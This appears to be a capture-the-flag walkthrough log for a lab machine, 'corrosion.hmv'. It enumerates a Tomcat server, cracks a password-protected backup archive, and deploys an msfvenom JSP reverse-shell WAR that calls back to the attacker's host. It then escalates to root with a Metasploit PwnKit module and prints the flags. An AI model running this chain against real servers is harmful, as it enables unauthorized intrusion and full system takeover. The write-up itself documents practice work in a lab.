┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://corrosion.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
---------------------------------------------------------------------------
http://corrosion.hmv/index.html (Status: 200) [Size: 10918]
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://corrosion.hmv:8080 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://corrosion.hmv:8080/ (Status: 200) [Size: 11003]
---------------------------------------------------------------------------
┌──(root㉿cyber)-[~]
└─# curl -s http://corrosion.hmv:8080/docs/ | grep Tomcat | grep author
Apache Tomcat 9 (9.0.53) - Documentation Index name="author" content="Craig R. McClanahan">
content="Remy Maucherat" meta name="author" content="Yoav Shapira"
Apache Tomcat 9 "versionInfo"
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://corrosion.hmv:8080 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://corrosion.hmv:8080/docs (Status: 302) [Size: 0] [--> /docs/]
http://corrosion.hmv:8080/examples (Status: 302) [Size: 0] [--> /examples/]
http://corrosion.hmv:8080/backup.zip (Status: 200) [Size: 33723]
http://corrosion.hmv:8080/readme.txt (Status: 200) [Size: 153]
http://corrosion.hmv:8080/manager (Status: 302) [Size: 0] [--> /manager/]
Initial Access
┌──(root㉿cyber)-[~]
└─# wget http://corrosion.hmv:8080/backup.zip
--2023-06-20 23:54:55-- http://corrosion.hmv:8080/backup.zip
Auflösen des Hostnamens corrosion.hmv (corrosion.hmv)… 192.168.2.110
Verbindungsaufbau zu corrosion.hmv (corrosion.hmv)|192.168.2.110|:8080 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 33723 (33K) [application/zip]
Wird in »backup.zip« gespeichert.
backup.zip 100%[=====================================>] 32,93K --.-KB/s in 0s
2023-06-20 23:54:55 (792 MB/s) - »backup.zip« gespeichert [33723/33723]
┌──(root㉿cyber)-[~]
└─# zip2john backup.zip > hash
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.policy PKZIP Encr: TS_chk, cmplen=2911, decmplen=13052, crc=AD0C6FDB ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/context.xml PKZIP Encr: TS_chk, cmplen=721, decmplen=1400, crc=59B9F4E7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.properties PKZIP Encr: TS_chk, cmplen=2210, decmplen=7276, crc=1CD3C095 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xml PKZIP Encr: TS_chk, cmplen=626, decmplen=1149, crc=748A87A6 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xsd PKZIP Encr: TS_chk, cmplen=862, decmplen=2313, crc=3B44D150 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/logging.properties PKZIP Encr: TS_chk, cmplen=1076, decmplen=4144, crc=1D6C26F7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/server.xml PKZIP Encr: TS_chk, cmplen=2609, decmplen=7589, crc=F91AC0C0 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xml PKZIP Encr: TS_chk, cmplen=1167, decmplen=2972, crc=BDCB08B9 ts=B0E3 cs=b0e3 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xsd PKZIP Encr: TS_chk, cmplen=858, decmplen=2558, crc=E8F588C2 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/web.xml PKZIP Encr: TS_chk, cmplen=18917, decmplen=172359, crc=B8AF6070 ts=6920 cs=6920 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
---------------------------------------------------------------------------
@administrator_hi5 (backup.zip)
---------------------------------------------------------------------------
1g 0:00:00:01 DONE (2023-06-20 23:58) 0.7518g/s 8647Kp/s 8647Kc/s 8647KC/s AJKAJK..9T*wwwww
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(root㉿cyber)-[~]
└─# unzip backup.zip
Archive: backup.zip
[backup.zip] catalina.policy password:
inflating: catalina.policy
inflating: context.xml
inflating: catalina.properties
inflating: jaspic-providers.xml
inflating: jaspic-providers.xsd
inflating: logging.properties
inflating: server.xml
inflating: tomcat-users.xml
inflating: tomcat-users.xsd
inflating: web.xml
┌──(root㉿cyber)-[~]
└─# grep pass tomcat-users.xml
them. You will also need to set the passwords to something appropriate.
Proof of Concept: Tomcat Reverse Shell via Deploy
┌──(root㉿cyber)-[~]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.137 LPORT=8008 -f war -o revshell.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes
Saved as: revshell.war
Reverse Shell - Vorbereitung mit Metasploit
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => 192.168.2.137
msf6 exploit(multi/handler) > set LPORT 8008
LPORT => 8008
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:8008
http://corrosion.hmv:8080/manager
http://corrosion.hmv:8080/revshell/
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:8008
[*] Command shell session 1 opened (192.168.2.137:8008 -> 192.168.2.110:48616) at 2023-06-21 00:09:23 +0200
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
cd /var/www/html
ls -la
total 20
drwxr-xr-x 2 root root 4096 Sep 16 2021 .
drwxr-xr-x 3 root root 4096 Sep 16 2021 ..
-rw-r--r-- 1 root root 10918 Sep 16 2021 index.html
cd /opt
ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 16 2021 .
drwxr-xr-x 20 root root 4096 Sep 16 2021 ..
drwxr-Sr-- 10 tomcat tomcat 4096 Sep 17 2021 tomcat
cd tomcat
ls -la
total 160
drwxr-Sr-- 10 tomcat tomcat 4096 Sep 17 2021 .
drwxr-xr-x drwxr-xr-x 3 root root 4096 Sep 16 2021 ..
drwx--S--- 2 tomcat tomcat 4096 Sep 16 2021 bin
-rwx------ 1 tomcat tomcat 18970 Sep 6 2021 BUILDING.txt
drwx--S--- 3 tomcat tomcat 4096 Sep 16 2021 conf
-rwx------ 1 tomcat tomcat 6210 Sep 6 2021 CONTRIBUTING.md
drwx--S--- 2 tomcat tomcat 4096 Sep 16 2021 lib
-rwx------ 1 tomcat tomcat 57092 Sep 6 2021 LICENSE
drwx--S--- 3 tomcat tomcat 4096 Sep 16 2021 .local
drwx--S--- 2 tomcat tomcat 4096 Jun 20 2023 logs
-rwx------ 1 tomcat tomcat 2333 Sep 17 2021 NOTICE
-rwx------ 1 tomcat tomcat 3372 Sep 6 2021 README.md
-rwx------ 1 tomcat tomcat 6898 Sep 6 2021 RELEASE-NOTES
-rwx------ 1 tomcat tomcat 16507 Sep 17 2021 RUNNING.txt
drwx--S--- 2 tomcat tomcat 4096 Sep 16 2021 temp
drwx--S--- 8 tomcat tomcat 4096 Jun 20 16:09 webapps
drwx--S--- 3 tomcat tomcat 4096 Sep 16 2021 work
ls -la logs
total 1080468
drwx--S--- 2 tomcat tomcat 4096 Jun 20 2023 .
drwxr-Sr-- 10 tomcat tomcat 4096 Sep 17 2021 ..
-rw-r----- 1 tomcat tomcat 397400949 Jun 20 16:11 catalina.2023-06-20.log
-rwx------ 1 tomcat tomcat 419316113 Jun 20 16:11 catalina.out
-rw-r----- 1 tomcat tomcat 0 Jun 20 2023 host-manager.2023-06-20.log
-rw-r----- 1 tomcat tomcat 23151 Jun 20 16:11 localhost.2023-06-20.log
-rwx------ 1 tomcat tomcat 6730 Sep 16 2021 localhost_access_log.2021-09-16.txt
-rwx------ 1 tomcat tomcat 23684188 Sep 17 2021 localhost_access_log.2021-09-17.txt
-rw-r----- 1 tomcat tomcat 0 Sep 20 2021 localhost_access_log.2021-09-20.txt
-rw-r----- 1 tomcat tomcat 265927363 Jun 20 16:09 localhost_access_log.2023-06-20.txt
-rw-r----- 1 tomcat tomcat 672 Jun 20 16:09 manager.2023-06-20.log
cat manager.2023-06-20.log
20-Jun-2023 15:59:54.236 INFO [http-nio-8080-exec-16] org.apache.catalina.core.ApplicationContext.log HTMLManager: init: Associated with Deployer 'Catalina:type=Deployer,host=localhost'
20-Jun-2023 15:59:54.236 INFO [http-nio-8080-exec-16] org.apache.catalina.core.ApplicationContext.log HTMLManager: init: Global resources are available
20-Jun-2023 15:59:54.246 INFO [http-nio-8080-exec-16] org.apache.catalina.core.ApplicationContext.log HTMLManager: list: Listing contexts for virtual host 'localhost'
20-Jun-2023 16:09:05.079 INFO [http-nio-8080-exec-10] org.apache.catalina.core.ApplicationContext.log HTMLManager: list: Listing contexts for virtual host 'localhost'
Privilege Escalation
find / -type f -perm -4000 -ls 2>/dev/null
56 43 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /snap/core18/2128/bin/mount
65 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/2128/bin/ping
81 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/2128/bin/su
99 27 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /snap/core18/2128/bin/umount
1710 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/2128/usr/bin/chfn
1712 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/2128/usr/bin/chsh
1765 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/2128/usr/bin/gpasswd
1829 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/2128/usr/bin/newgrp
1842 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/2128/usr/bin/passwd
525493 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
525108 56 -rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/bin/mount
525492 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su
525213 68 -rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
524500 52 -rwsr-xr-x 1 root root 53040 Jul 14 2021 /usr/bin/chsh
525592 40 -rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/bin/umount
524494 84 -rwsr-xr-x 1 root root 85064 Jul 14 2021 /usr/bin/chfn
525143 44 -rwsr-xr-x 1 root root 44784 Jul 14 2021 /usr/bin/newgrp
524684 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
524765 88 -rwsr-xr-x 1 root root 88464 Jul 14 2021 /usr/bin/gpasswd
552634 16 -rwsr-xr-x 1 root root 14728 Mar 17 2021 /usr/bin/vmware-user-suid-wrapper
525267 32 -rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
534651 388 -rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd
526512 52 -rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
526830 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
532177 464 -rwsr-xr-x 1 root root 473576 Jul 23 2021 /usr/lib/openssh/ssh-keysign
534200 16 -rwsr-sr-x 1 root root 14488 Jul 6 2021 /usr/lib/xorg/Xorg.wrap
532385 128 -rwsr-xr-x 1 root root 130408 Mar 26 2021 /usr/lib/snapd/snap-confine
532193 24 -rwsr-xr-x 1 root
ls -la /etc/passwd
-rw-r--r-- 1 root root 2928 Sep 17 2021 /etc/passwd
search shell to meterpreter
set handler true
set lhost eth0
lhost => 192.168.2.137
set lport 4433
lport => 4433
set session 1
session => 1
sessions -i
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell sparc/bsd 192.168.2.137:8008 -> 192.168.2.110:48628 (192.168
.2.110)
set session 2
session => 2
run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.110
[*] Meterpreter session 3 opened (192.168.2.137:4433 -> 192.168.2.110:33160) at 2023-06-21 00:19:10 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
set session 3
session => 3
set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
run
[*] 192.168.2.110 - Collecting local exploits for x86/linux...
[*] 192.168.2.110 - 186 exploit checks are being tried...
[+] 192.168.2.110 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.110 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.11.0
[+] 192.168.2.110 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.110 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
[+] 192.168.2.110 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.110 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.110 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.31.pre.1ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 192.168.2.110 - Valid modules for session 3:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
2 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.11.0
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
6 exploit/linux/local/su_login Yes The target appears to be vulnerable.
7 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.8.31.pre.1ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
8 exploit/linux/local/abrt_raceabrt_priv_esc
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
set LHOST 192.168.2.137
LHOST => 192.168.2.137
set LPORT 4445
LPORT => 4445
set session 3
session => 3
run
[*] Started reverse TCP handler on 192.168.2.137:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.vjmzbtgosz
[+] The target is vulnerable.
[*] Writing '/tmp/.whfdflaztlg/igmaqjlj/igmaqjlj.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.whfdflaztlg
[*] Sending stage (3045348 bytes) to 192.168.2.110
[+] Deleted /tmp/.whfdflaztlg/igmaqjlj/igmaqjlj.so
[+] Deleted /tmp/.whfdflaztlg/.osfvigmrdjq
[+] Deleted /tmp/.whfdflaztlg
[*] Meterpreter session 4 opened (192.168.2.137:4445 -> 192.168.2.110:59232) at 2023-06-21 00:27:43 +0200
getuid
Server username: root
ls -la
Listing: /root
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 5 fil 2021-09-21 04:20:30 +0200 .bash_history
100644/rw-r--r-- 3106 fil 2019-12-05 15:39:21 +0100 .bashrc
040700/rwx------ 4096 dir 2021-08-19 12:41:15 +0200 .cache
040755/rwxr-xr-x 4096 dir 2021-09-17 06:01:39 +0200 .local
100644/rw-r--r-- 161 fil 2019-12-05 15:39:21 +0100 .profile
100600/rw------- 0 fil 2021-09-18 05:51:41 +0200 .python_history
100644/rw-r--r-- 66 fil 2021-09-17 07:51:14 +0200 .selected_editor
100644/rw-r--r-- 181 fil 2021-09-18 05:48:44 +0200 .wget-hsts
100644/rw-r--r-- 33 fil 2021-09-17 11:08:07 +0200 root.txt
040755/rwxr-xr-x 4096 dir 2021-09-17 01:22:12 +0200 snap
cat root.txt
2fdbf8d4f894292361d6c72c8e833a4b
ls -la
total 84
dr-xr-xr-x 15 randy randy 4096 Sep 20 2021 .
drwxr-xr-x 4 root root 4096 Sep 17 2021 ..
-rw-r--r-- 1 root root 0 Sep 17 2021 .bash_history
-rw-r--r-- 1 randy randy 220 Sep 16 2021 .bash_logout
-rw-r--r-- 1 randy randy 3771 Sep 16 2021 .bashrc
drwxr-xr-x 12 randy randy 4096 Sep 17 2021 .cache
drwx------ 10 randy randy 4096 Sep 16 2021 .config
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Desktop
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Documents
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Downloads
drwx------ 3 randy randy 4096 Sep 20 2021 .gnupg
drwxr-xr-x 3 randy randy 4096 Sep 16 2021 .local
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Music
-rw-r--r-- 1 root root 283 Sep 20 2021 note.txt
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Pictures
-rw-r--r-- 1 randy randy 807 Sep 16 2021 .profile
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Public
-rwxr-xr-x 1 root root 210 Sep 20 2021 randombase64.py
drwx------ 2 randy randy 4096 Sep 17 2021 .ssh
-rw-r--r-- 1 randy randy 0 Sep 16 2021 .sudo_as_admin_successful
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Templates
-rw-rw-r-- 1 randy randy 33 Sep 17 2021 user.txt
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Videos
cat user.txt
ca73a018ae6908a7d0ea5d1c269ba4b6
Privilege Escalation erfolgreich
Flags
cat root.txt
2fdbf8d4f894292361d6c72c8e833a4b
cat user.txt
ca73a018ae6908a7d0ea5d1c269ba4b6